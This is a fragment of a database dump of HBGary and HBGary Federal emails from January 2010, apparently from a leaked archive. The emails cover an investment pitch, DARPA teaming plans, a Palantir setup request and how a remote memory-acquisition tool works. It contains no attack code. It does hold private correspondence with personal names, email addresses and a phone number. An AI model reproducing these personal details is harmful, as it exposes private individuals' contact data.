Jan 29, 2010, at 4:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nDate: January 29, 2010 6:26:58 PM ESTTo: Joel Jacks &lt;jjacks@cmequity.com&gt;Cc: Peter Schulte &lt;pschulte@cmequity.com&gt;\r\n\r\nSubject: Re: Meeting in SCIFIn fact if your interested next time your in town I could fill you inon my creation of a small business consortium to develop a threat\r\n\r\nintelligence capability.  I have 4 best in class cybersecuritycompanies as partners currently.  All products, I am building a threatintelligence service around it.  Might interest you.\r\n\r\nRegards,Aaron From my iPhoneOn Jan 29, 2010, at 6:16 PM, &quot;Joel Jacks&quot; &lt;jjacks@cmequity.com&gt; wrote:\r\n\r\nAaronNice to hear about your new position - it seems exciting.  Thanks for\r\n\r\nthinking of us for an equity investment.  As you may recall we onlyinvest in services and not products.  I&#39;m afraid we will have to\r\n\r\npass onthe opportunity.\r\n\r\nRegards,Joel\r\n\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Friday, January 29, 2010 4:12 PM\r\nTo: Peter SchulteCc: Joel JacksSubject: Re: Meeting in SCIF\r\n\r\nPeter/Joel,It has been a while.  Thought you would find the below article\r\n\r\ninteresting.http://74.125.155.132/search?q=cache:mxUF19qZPHMJ:online.wsj.com/article\r\n\r\n/SB10001424052748704905604575027180879078708.html+Giving+Mobile+Ads+a+Makeover&amp;cd=2&amp;hl=en&amp;ct=clnk&amp;gl=us&amp;client=firefox-a\r\n\r\nAlso wanted to tell you a little about where I have landed.  HBGaryis a\r\n\r\nMalware analysis and incident response product company.  One of theirmost recent products, Digital DNA, is the most interesting.  It\r\n\r\nidentifies malware based on behaviors rather than on signatures.  Theproduct is 75% effective against tested zero day attacks.  Currently\r\n\r\nweare integrated into McAfee and getting integrated into Symantecproducts.  Many other neat things to say about it.  Greg Hoglund is\r\n\r\ntheCEO and founder of HBGary.  I am the CEO of its sister company, HBGaryFederal, focused on developing and delivering cybersecurity and\r\n\r\ninformation operations services to the government.  The relationshipisworking very well, allows us to focus.\r\n\r\nHBGary is carefully looking for some equity funding to help ramp upits\r\n\r\nproduct offerings, and I thought of you guys.  I think it would beworthwhile to have a discussion with them.  So far they have been\r\n\r\ncompletely internally funded, are already profitable, and a set tohavetheir best year yet.  I can help to set up a meeting if your\r\n\r\ninterested.Thanks,Aaron Barr\r\n\r\nCEOHBGary Federal Inc.\r\n\r\n',6660,'aaron_hbgary_com/6660.html'),(1812,'2010-01-29','rich@hbgary.com','/aaron@hbgary.com/new/1297000606.M29747P3547Q1811.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Windows box','Np\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Rich Cummings\r\nSubject: Re: Windows box\r\nSent: Jan 29, 2010 6:24 PM\r\n\r\nJust 1 so I can load palantir.\r\n\r\n From my iPhone\r\n\r\nOn Jan 29, 2010, at 6:23 PM, \"Rich Cummings\"  wrote:\r\n\r\n> Yes I have many... you need one?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, January 29, 2010 6:16 PM\r\n> To: Rich Cummings\r\n> Subject: Windows box\r\n>\r\n> Rich,\r\n>\r\n> Do you have an extra native windows box.  Turns out palantir doesn\'t\r\n> like VM.\r\n>\r\n> Ugh.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n\r\n\r\nSent from my Verizon Wireless BlackBerry\r\n',7870,'aaron_hbgary_com/7870.html'),(1813,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000606.M404149P3547Q1813.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Meeting in SCIF','On product.  This is a service.From my iPhoneOn Jan 29, 2010, at 6:44 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHe said he wants to pass, so why did you invite him to talk?On Jan 29, 2010, at 4:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nDate: January 29, 2010 6:26:58 PM ESTTo: Joel Jacks &lt;jjacks@cmequity.com&gt;\r\nCc: Peter Schulte &lt;pschulte@cmequity.com&gt;\r\n\r\nSubject: Re: Meeting in SCIFIn fact if your interested next time your in town I could fill you inon my creation of a small business consortium to develop a threat\r\n\r\n\r\nintelligence capability.  I have 4 best in class cybersecuritycompanies as partners currently.  All products, I am building a threatintelligence service around it.  Might interest you.\r\n\r\n\r\nRegards,Aaron From my iPhoneOn Jan 29, 2010, at 6:16 PM, &quot;Joel Jacks&quot; &lt;jjacks@cmequity.com&gt; wrote:\r\n\r\n\r\nAaronNice to hear about your new position - it seems exciting.  Thanks for\r\n\r\n\r\nthinking of us for an equity investment.  As you may recall we onlyinvest in services and not products.  I&#39;m afraid we will have to\r\n\r\n\r\npass onthe opportunity.\r\n\r\n\r\nRegards,Joel\r\n\r\n\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Friday, January 29, 2010 4:12 PM\r\nTo: Peter SchulteCc: Joel JacksSubject: Re: Meeting in SCIF\r\n\r\n\r\nPeter/Joel,It has been a while.  Thought you would find the below article\r\n\r\n\r\ninteresting.http://74.125.155.132/search?q=cache:mxUF19qZPHMJ:online.wsj.com/article\r\n\r\n\r\n/SB10001424052748704905604575027180879078708.html+Giving+Mobile+Ads+a+Makeover&amp;cd=2&amp;hl=en&amp;ct=clnk&amp;gl=us&amp;client=firefox-a\r\n\r\n\r\nAlso wanted to tell you a little about where I have landed.  HBGaryis a\r\n\r\n\r\nMalware analysis and incident response product company.  One of theirmost recent products, Digital DNA, is the most interesting.  It\r\n\r\n\r\nidentifies malware based on behaviors rather than on signatures.  Theproduct is 75% effective against tested zero day attacks.  Currently\r\n\r\n\r\nweare integrated into McAfee and getting integrated into Symantecproducts.  Many other neat things to say about it.  Greg Hoglund is\r\n\r\n\r\ntheCEO and founder of HBGary.  I am the CEO of its sister company, HBGaryFederal, focused on developing and delivering cybersecurity and\r\n\r\n\r\ninformation operations services to the government.  The relationshipisworking very well, allows us to focus.\r\n\r\n\r\nHBGary is carefully looking for some equity funding to help ramp upits\r\n\r\n\r\nproduct offerings, and I thought of you guys.  I think it would beworthwhile to have a discussion with them.  So far they have been\r\n\r\n\r\ncompletely internally funded, are already profitable, and a set tohavetheir best year yet.  I can help to set up a meeting if your\r\n\r\n\r\ninterested.Thanks,Aaron Barr\r\n\r\n\r\nCEOHBGary Federal Inc.\r\n\r\n\r\n',8548,'aaron_hbgary_com/8548.html'),(1814,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000606.M588532P3547Q1814.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Meeting in SCIF','Plus just to inform.From my iPhoneOn Jan 29, 2010, at 6:44 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHe said he wants to pass, so why did you invite him to talk?On Jan 29, 2010, at 4:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nDate: January 29, 2010 6:26:58 PM ESTTo: Joel Jacks &lt;jjacks@cmequity.com&gt;\r\nCc: Peter Schulte &lt;pschulte@cmequity.com&gt;\r\n\r\nSubject: Re: Meeting in SCIFIn fact if your interested next time your in town I could fill you inon my creation of a small business consortium to develop a threat\r\n\r\n\r\nintelligence capability.  I have 4 best in class cybersecuritycompanies as partners currently.  All products, I am building a threatintelligence service around it.  Might interest you.\r\n\r\n\r\nRegards,Aaron From my iPhoneOn Jan 29, 2010, at 6:16 PM, &quot;Joel Jacks&quot; &lt;jjacks@cmequity.com&gt; wrote:\r\n\r\n\r\nAaronNice to hear about your new position - it seems exciting.  Thanks for\r\n\r\n\r\nthinking of us for an equity investment.  As you may recall we onlyinvest in services and not products.  I&#39;m afraid we will have to\r\n\r\n\r\npass onthe opportunity.\r\n\r\n\r\nRegards,Joel\r\n\r\n\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Friday, January 29, 2010 4:12 PM\r\nTo: Peter SchulteCc: Joel JacksSubject: Re: Meeting in SCIF\r\n\r\n\r\nPeter/Joel,It has been a while.  Thought you would find the below article\r\n\r\n\r\ninteresting.http://74.125.155.132/search?q=cache:mxUF19qZPHMJ:online.wsj.com/article\r\n\r\n\r\n/SB10001424052748704905604575027180879078708.html+Giving+Mobile+Ads+a+Makeover&amp;cd=2&amp;hl=en&amp;ct=clnk&amp;gl=us&amp;client=firefox-a\r\n\r\n\r\nAlso wanted to tell you a little about where I have landed.  HBGaryis a\r\n\r\n\r\nMalware analysis and incident response product company.  One of theirmost recent products, Digital DNA, is the most interesting.  It\r\n\r\n\r\nidentifies malware based on behaviors rather than on signatures.  Theproduct is 75% effective against tested zero day attacks.  Currently\r\n\r\n\r\nweare integrated into McAfee and getting integrated into Symantecproducts.  Many other neat things to say about it.  Greg Hoglund is\r\n\r\n\r\ntheCEO and founder of HBGary.  I am the CEO of its sister company, HBGaryFederal, focused on developing and delivering cybersecurity and\r\n\r\n\r\ninformation operations services to the government.  The relationshipisworking very well, allows us to focus.\r\n\r\n\r\nHBGary is carefully looking for some equity funding to help ramp upits\r\n\r\n\r\nproduct offerings, and I thought of you guys.  I think it would beworthwhile to have a discussion with them.  So far they have been\r\n\r\n\r\ncompletely internally funded, are already profitable, and a set tohavetheir best year yet.  I can help to set up a meeting if your\r\n\r\n\r\ninterested.Thanks,Aaron Barr\r\n\r\n\r\nCEOHBGary Federal Inc.\r\n\r\n\r\n',14672,'aaron_hbgary_com/14672.html'),(1815,'2010-01-29','\"Joel Jacks\" <jjacks@cmequity.com>','/aaron@hbgary.com/new/1297000606.M766522P3547Q1815.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Meeting in SCIF','Aaron:\r\n\r\nI think the best thing for you to do is to explain the services profile\r\nto Bill.  He may be able to help you better than we can.  I\'ve copied\r\nBill on this.\r\n\r\nRegards\r\n \r\nJoel\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, January 29, 2010 6:27 PM\r\nTo: Joel Jacks\r\nCc: Peter Schulte\r\nSubject: Re: Meeting in SCIF\r\n\r\nIn fact if your interested next time your in town I could fill you in\r\non my creation of a small business consortium to develop a threat\r\nintelligence capability.  I have 4 best in class cybersecurity\r\ncompanies as partners currently.  All products, I am building a threat\r\nintelligence service around it.  Might interest you.\r\n\r\nRegards,\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 29, 2010, at 6:16 PM, \"Joel Jacks\"  wrote:\r\n\r\n> Aaron\r\n>\r\n> Nice to hear about your new position - it seems exciting.  Thanks for\r\n> thinking of us for an equity investment.  As you may recall we only\r\n> invest in services and not products.  I\'m afraid we will have to\r\n> pass on\r\n> the opportunity.\r\n>\r\n> Regards,\r\n>\r\n> Joel\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, January 29, 2010 4:12 PM\r\n> To: Peter Schulte\r\n> Cc: Joel Jacks\r\n> Subject: Re: Meeting in SCIF\r\n>\r\n> Peter/Joel,\r\n>\r\n> It has been a while.  Thought you would find the below article\r\n> interesting.\r\n>\r\n>\r\nhttp://74.125.155.132/search?q=cache:mxUF19qZPHMJ:online.wsj.com/article\r\n> /SB10001424052748704905604575027180879078708.html+Giving+Mobile+Ads+a\r\n> +Ma\r\n> keover&cd=2&hl=en&ct=clnk&gl=us&client=firefox-a\r\n>\r\n> Also wanted to tell you a little about where I have landed.  HBGary\r\n> is a\r\n> Malware analysis and incident response product company.  One of their\r\n> most recent products, Digital DNA, is the most interesting.  It\r\n> identifies malware based on behaviors rather than on signatures.  The\r\n> product is 75% effective against tested zero day attacks.  Currently\r\n> we\r\n> are integrated into McAfee and getting integrated into Symantec\r\n> products.  Many other neat things to say about it.  Greg Hoglund is\r\n> the\r\n> CEO and founder of HBGary.  I am the CEO of its sister company, HBGary\r\n> Federal, focused on developing and delivering cybersecurity and\r\n> information operations services to the government.  The relationship\r\n> is\r\n> working very well, allows us to focus.\r\n>\r\n> HBGary is carefully looking for some equity funding to help ramp up\r\n> its\r\n> product offerings, and I thought of you guys.  I think it would be\r\n> worthwhile to have a discussion with them.  So far they have been\r\n> completely internally funded, are already profitable, and a set to\r\n> have\r\n> their best year yet.  I can help to set up a meeting if your\r\n> interested.\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n',11897,'aaron_hbgary_com/11897.html'),(1816,'2010-01-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000606.M971561P3547Q1816.eml','\"Joel Jacks\" <jjacks@cmequity.com>,\"Joel Jacks\" <jjacks@cmequity.com>,','Re: Meeting in SCIF','Sure thing.  Thanks Joel.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 29, 2010, at 6:54 PM, \"Joel Jacks\"  wrote:\r\n\r\n> Aaron:\r\n>\r\n> I think the best thing for you to do is to explain the services\r\n> profile\r\n> to Bill.  He may be able to help you better than we can.  I\'ve copied\r\n> Bill on this.\r\n>\r\n> Regards\r\n>\r\n> Joel\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, January 29, 2010 6:27 PM\r\n> To: Joel Jacks\r\n> Cc: Peter Schulte\r\n> Subject: Re: Meeting in SCIF\r\n>\r\n> In fact if your interested next time your in town I could fill you in\r\n> on my creation of a small business consortium to develop a threat\r\n> intelligence capability.  I have 4 best in class cybersecurity\r\n> companies as partners currently.  All products, I am building a threat\r\n> intelligence service around it.  Might interest you.\r\n>\r\n> Regards,\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Jan 29, 2010, at 6:16 PM, \"Joel Jacks\"  wrote:\r\n>\r\n>> Aaron\r\n>>\r\n>> Nice to hear about your new position - it seems exciting.  Thanks for\r\n>> thinking of us for an equity investment.  As you may recall we only\r\n>> invest in services and not products.  I\'m afraid we will have to\r\n>> pass on\r\n>> the opportunity.\r\n>>\r\n>> Regards,\r\n>>\r\n>> Joel\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, January 29, 2010 4:12 PM\r\n>> To: Peter Schulte\r\n>> Cc: Joel Jacks\r\n>> Subject: Re: Meeting in SCIF\r\n>>\r\n>> Peter/Joel,\r\n>>\r\n>> It has been a while.  Thought you would find the below article\r\n>> interesting.\r\n>>\r\n>>\r\n> http://74.125.155.132/search?q=cache:mxUF19qZPHMJ:online.wsj.com/article\r\n>> /SB10001424052748704905604575027180879078708.html+Giving+Mobile+Ads+a\r\n>> +Ma\r\n>> keover&cd=2&hl=en&ct=clnk&gl=us&client=firefox-a\r\n>>\r\n>> Also wanted to tell you a little about where I have landed.  HBGary\r\n>> is a\r\n>> Malware analysis and incident response product company.  One of their\r\n>> most recent products, Digital DNA, is the most interesting.  It\r\n>> identifies malware based on behaviors rather than on signatures.  The\r\n>> product is 75% effective against tested zero day attacks.  Currently\r\n>> we\r\n>> are integrated into McAfee and getting integrated into Symantec\r\n>> products.  Many other neat things to say about it.  Greg Hoglund is\r\n>> the\r\n>> CEO and founder of HBGary.  I am the CEO of its sister company,\r\n>> HBGary\r\n>> Federal, focused on developing and delivering cybersecurity and\r\n>> information operations services to the government.  The relationship\r\n>> is\r\n>> working very well, allows us to focus.\r\n>>\r\n>> HBGary is carefully looking for some equity funding to help ramp up\r\n>> its\r\n>> product offerings, and I thought of you guys.  I think it would be\r\n>> worthwhile to have a discussion with them.  So far they have been\r\n>> completely internally funded, are already profitable, and a set to\r\n>> have\r\n>> their best year yet.  I can help to set up a meeting if your\r\n>> interested.\r\n>>\r\n>> Thanks,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n',2368,'aaron_hbgary_com/2368.html'),(1817,'2010-01-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000607.M143702P3547Q1817.eml','all@hbgary.com','Re: FW: 2.0 features','All,\r\n\r\n \r\n\r\nThe release notes say Responder can do remote memory snapshots and analysis for networked environments.\r\n\r\n \r\n\r\nWhat do you mean by &quot;and analysis&quot;?  Is it just remote fdpro.exe?  Or is there wpma functionality on the remote computer?  Or is it something else?\r\n \r\nBob\r\n',12024,'aaron_hbgary_com/12024.html'),(1818,'2010-01-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000607.M586551P3547Q1818.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: FW: 2.0 features','The remote computer&#39;s memory is acquired and copied locally before analysis begins.  The analysis is done on the analyst&#39;s workstation, NOT on the remote system.  This is NOT the same thing as our Enterprise capability.  The only file that is copied to the remote machine is FDPro.exe, and once the snapshot has been acquired, no files are left behind.  The entire process executes the same way psexec works, which is something most enterprises allow.  It uses windows networking features and requires an admin account/access on the remote machine.\r\n\r\n \r\n-Greg\r\nOn Fri, Jan 29, 2010 at 4:03 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\nAll,\r\n \r\nThe release notes say Responder can do remote memory snapshots and analysis for networked environments.\r\n \r\nWhat do you mean by &quot;and analysis&quot;?  Is it just remote fdpro.exe?  Or is there wpma functionality on the remote computer?  Or is it something else?\r\n \r\nBob\r\n',12762,'aaron_hbgary_com/12762.html'),(1819,'2010-01-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000607.M792609P3547Q1819.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: FW: 2.0 features','Greg,\r\n \r\nI am confused by your statement that RAM is copied locally.  Is RAM stored on the remote computer or on the analyst&#39;s computer?\r\n \r\nIf it is stored on the analyst&#39;s computer then this solution would be remote memory snapshot or acquistion, but it would not be remote analysis as indicated in the release notes.\r\n \r\nPlease clarify.\r\n \r\nBob\r\nOn Fri, Jan 29, 2010 at 7:06 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nThe remote computer&#39;s memory is acquired and copied locally before analysis begins.  The analysis is done on the analyst&#39;s workstation, NOT on the remote system.  This is NOT the same thing as our Enterprise capability.  The only file that is copied to the remote machine is FDPro.exe, and once the snapshot has been acquired, no files are left behind.  The entire process executes the same way psexec works, which is something most enterprises allow.  It uses windows networking features and requires an admin account/access on the remote machine.\r\n\r\n \r\n-Greg\r\n\r\n\r\n\r\nOn Fri, Jan 29, 2010 at 4:03 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\nAll,\r\n \r\nThe release notes say Responder can do remote memory snapshots and analysis for networked environments.\r\n \r\nWhat do you mean by &quot;and analysis&quot;?  Is it just remote fdpro.exe?  Or is there wpma functionality on the remote computer?  Or is it something else?\r\n \r\nBob-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',5573,'aaron_hbgary_com/5573.html'),(1820,'2010-01-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000608.M35655P3547Q1820.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,','House attack','Phil,\r\n\r\nAre we being brought in to analyze the attacks?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',15773,'aaron_hbgary_com/15773.html'),(1821,'2010-01-30','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000608.M515853P3547Q1821.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\nhttp://go.theregister.com/feed/www.theregister.co.uk/2010/01/29/strange_ssl_web_attack/\r\n\r\n\r\n From my iPhone\r\n',15042,'aaron_hbgary_com/15042.html'),(1822,'2010-01-30','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297000608.M697926P3547Q1822.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: House attack','I saw this hack on zone-h.  I did not contact Brent(ciso) yet.  He\'s a\r\ndelicate personality.  He might Take offense...long story.  I\'ll\r\ncontact his tech lead.\r\n\r\nOn Friday, January 29, 2010, Aaron Barr  wrote:\r\n> Phil,\r\n>\r\n> Are we being brought in to analyze the attacks?\r\n>\r\n> Aaron\r\n>\r\n>  From my iPhone\r\n>\r\n',16652,'aaron_hbgary_com/16652.html'),(1823,'2010-01-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000608.M870815P3547Q1823.eml','\"Bob Slapnik\" <bob@hbgary.com>','DARPA day','Hi bob,\r\n\r\nGot ur MSG.  Day went well.  Lots to tell everyone.  Everyone wanted\r\nto talk to us.  Sparta continues to be the leader for teaming but need\r\nto haveore in depth conversations.  Rich and I have aeeting qoth\r\nSparta next Friday morning.  Can we do it in the afternoon?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',8387,'aaron_hbgary_com/8387.html'),(1824,'2010-01-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000609.M262320P3547Q1825.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: [CD-PI] DHS S&T Roadmap for Cybersecurity Research','Aaron and Ted,\r\n \r\nI thought this link might be of interest to you. See below.  Doug is our customer at DHS S&amp;T.\r\n \r\nBob\r\n---------- Forwarded message ----------From: Maughan, Douglas &lt;Douglas.Maughan@dhs.gov&gt;\r\nDate: Fri, Jan 29, 2010 at 9:03 PMSubject: [CD-PI] DHS S&amp;T Roadmap for Cybersecurity ResearchTo: cd-pi@csl.sri.com, cd-past-pi@csl.sri.com\r\nAll,Just thought you might be interested in the subject document that wasreleased today by the DHS S&amp;T program. It can be found athttp://www.cyber.st.dhs.gov.\r\nHappy reading!!!Doug_______________________________________________CD-PI mailing listCD-PI@csl.sri.comhttp://lists.csl.sri.com/mailman/listinfo/cd-pi\r\n\r\n',13420,'aaron_hbgary_com/13420.html'),(1825,'2010-01-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000609.M505189P3547Q1826.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: DARPA day','Absolutely we should hear them and find out what they have.  Up to Greg if he wants to be on.  I know we have a great relationship with GD.  Have to consider if we don&#39;t select GD is it better for Greg to be on the phone or not.  my thoughts are open as far as who to team with.  My only criteria is being on the winning team.\r\nLet&#39;s do 3pm.Aaron  From my iPhoneOn Jan 29, 2010, at 9:36 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\nAaron,\r\n \r\nGD requested to meet on Friday Feb 5 either at 11am or 3pm or later.  It appears Jim Jaeger is available these times?  Which time works for you?  Who should we include from HBGary?  Penny thought we should include Greg.\r\n\r\n\r\n \r\nIt might be a conference call instead of a meeting.  They are open to teaming with us as a sub or prime.  They think they bring something and want to tell us what it is during this conversation.  I certainly want to hear what they have to say.  And given that HBGary is quite active with GD on multiple fronts we owe them the opportunity to talk to us.  For example, they are considering HBGary products for internal use and for use within their security consulting practice.\r\n\r\n\r\n \r\nBob\r\n \r\n \r\nOn Fri, Jan 29, 2010 at 9:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi bob,Got ur MSG.  Day went well.  Lots to tell everyone.  Everyone wantedto talk to us.  Sparta continues to be the leader for teaming but need\r\n\r\nto haveore in depth conversations.  Rich and I have aeeting qothSparta next Friday morning.  Can we do it in the afternoon?Aaron From my iPhone-- Bob Slapnik\r\n\r\nVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n',4984,'aaron_hbgary_com/4984.html'),(1826,'2010-01-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000609.M63184P3547Q1824.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA day','Aaron,\r\n \r\nGD requested to meet on Friday Feb 5 either at 11am or 3pm or later.  It appears Jim Jaeger is available these times?  Which time works for you?  Who should we include from HBGary?  Penny thought we should include Greg.\r\n\r\n \r\nIt might be a conference call instead of a meeting.  They are open to teaming with us as a sub or prime.  They think they bring something and want to tell us what it is during this conversation.  I certainly want to hear what they have to say.  And given that HBGary is quite active with GD on multiple fronts we owe them the opportunity to talk to us.  For example, they are considering HBGary products for internal use and for use within their security consulting practice.\r\n\r\n \r\nBob\r\n \r\n \r\nOn Fri, Jan 29, 2010 at 9:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi bob,Got ur MSG.  Day went well.  Lots to tell everyone.  Everyone wantedto talk to us.  Sparta continues to be the leader for teaming but need\r\nto haveore in depth conversations.  Rich and I have aeeting qothSparta next Friday morning.  Can we do it in the afternoon?Aaron From my iPhone-- Bob Slapnik\r\nVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',2270,'aaron_hbgary_com/2270.html'),(1827,'2010-01-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000609.M690155P3547Q1827.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA day','I have no favorites at this point.  I don&#39;t know enough about the opportunity, the customer&#39;s desires, or what the potential partners bring to the table as compared to HBGary&#39;s capabilities.  I go in with my eyes and ears wide open.\r\n\r\n \r\nOn Fri, Jan 29, 2010 at 10:09 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nAbsolutely we should hear them and find out what they have.  Up to Greg if he wants to be on.  I know we have a great relationship with GD.  Have to consider if we don&#39;t select GD is it better for Greg to be on the phone or not.  my thoughts are open as far as who to team with.  My only criteria is being on the winning team.\r\n\r\n\r\nLet&#39;s do 3pm.\r\n\r\nAaron\r\n\r\n  From my iPhone\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 9:36 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n \r\nGD requested to meet on Friday Feb 5 either at 11am or 3pm or later.  It appears Jim Jaeger is available these times?  Which time works for you?  Who should we include from HBGary?  Penny thought we should include Greg.\r\n\r\n \r\nIt might be a conference call instead of a meeting.  They are open to teaming with us as a sub or prime.  They think they bring something and want to tell us what it is during this conversation.  I certainly want to hear what they have to say.  And given that HBGary is quite active with GD on multiple fronts we owe them the opportunity to talk to us.  For example, they are considering HBGary products for internal use and for use within their security consulting practice.\r\n\r\n \r\nBob\r\n \r\n \r\nOn Fri, Jan 29, 2010 at 9:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi bob,Got ur MSG.  Day went well.  Lots to tell everyone.  Everyone wantedto talk to us.  Sparta continues to be the leader for teaming but need\r\nto haveore in depth conversations.  Rich and I have aeeting qothSparta next Friday morning.  Can we do it in the afternoon?Aaron From my iPhone\r\n\r\n',7834,'aaron_hbgary_com/7834.html'),(1828,'2010-01-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000609.M924454P3547Q1828.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: DARPA day','Here is a thought though. &nbsp;If HBGary proper separates themselves from this effort and HBGary Federal does not select GD, then is that easier on the continued relationship?AaronOn Jan 29, 2010, at 10:15 PM, Bob Slapnik wrote:I have no favorites at this point.&nbsp; I don\'t know enough about the opportunity, the customer\'s desires, or what the potential partners bring to the table as compared to HBGary\'s capabilities.&nbsp; I go in with my eyes and ears wide open.\r\n\r\n&nbsp;\r\nOn Fri, Jan 29, 2010 at 10:09 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nAbsolutely we should hear them and find out what they have. &nbsp;Up to Greg if he wants to be on. &nbsp;I know we have a great relationship with GD. &nbsp;Have to consider if we don\'t select GD is it better for Greg to be on the phone or not. &nbsp;my thoughts are open as far as who to team with. &nbsp;My only criteria is being on the winning team.\r\n\r\n\r\nLet\'s do 3pm.\r\n\r\nAaron\r\n\r\n&nbsp;&nbsp;From my iPhone\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 9:36 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\nGD requested to meet on Friday Feb 5 either at 11am or 3pm or later.&nbsp; It appears Jim Jaeger is available these times?&nbsp; Which time works for you?&nbsp; Who should we include from HBGary?&nbsp; Penny thought we should include Greg.\r\n\r\n&nbsp;\r\nIt might be a conference call instead of a meeting.&nbsp; They are open to teaming with us as a sub or prime.&nbsp; They think they bring something and want to tell us what it is during this conversation.&nbsp; I certainly want to hear what they have to say.&nbsp; And given that HBGary is quite active with GD on multiple fronts we owe them the opportunity to talk to us.&nbsp; For example, they are considering HBGary products for internal use and for use within their security consulting practice.\r\n\r\n&nbsp;\r\nBob\r\n&nbsp;\r\n&nbsp;\r\nOn Fri, Jan 29, 2010 at 9:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi bob,Got ur MSG. &nbsp;Day went well. &nbsp;Lots to tell everyone. &nbsp;Everyone wantedto talk to us. &nbsp;Sparta continues to be the leader for teaming but need\r\nto haveore in depth conversations. &nbsp;Rich and I have aeeting qothSparta next Friday morning. &nbsp;Can we do it in the 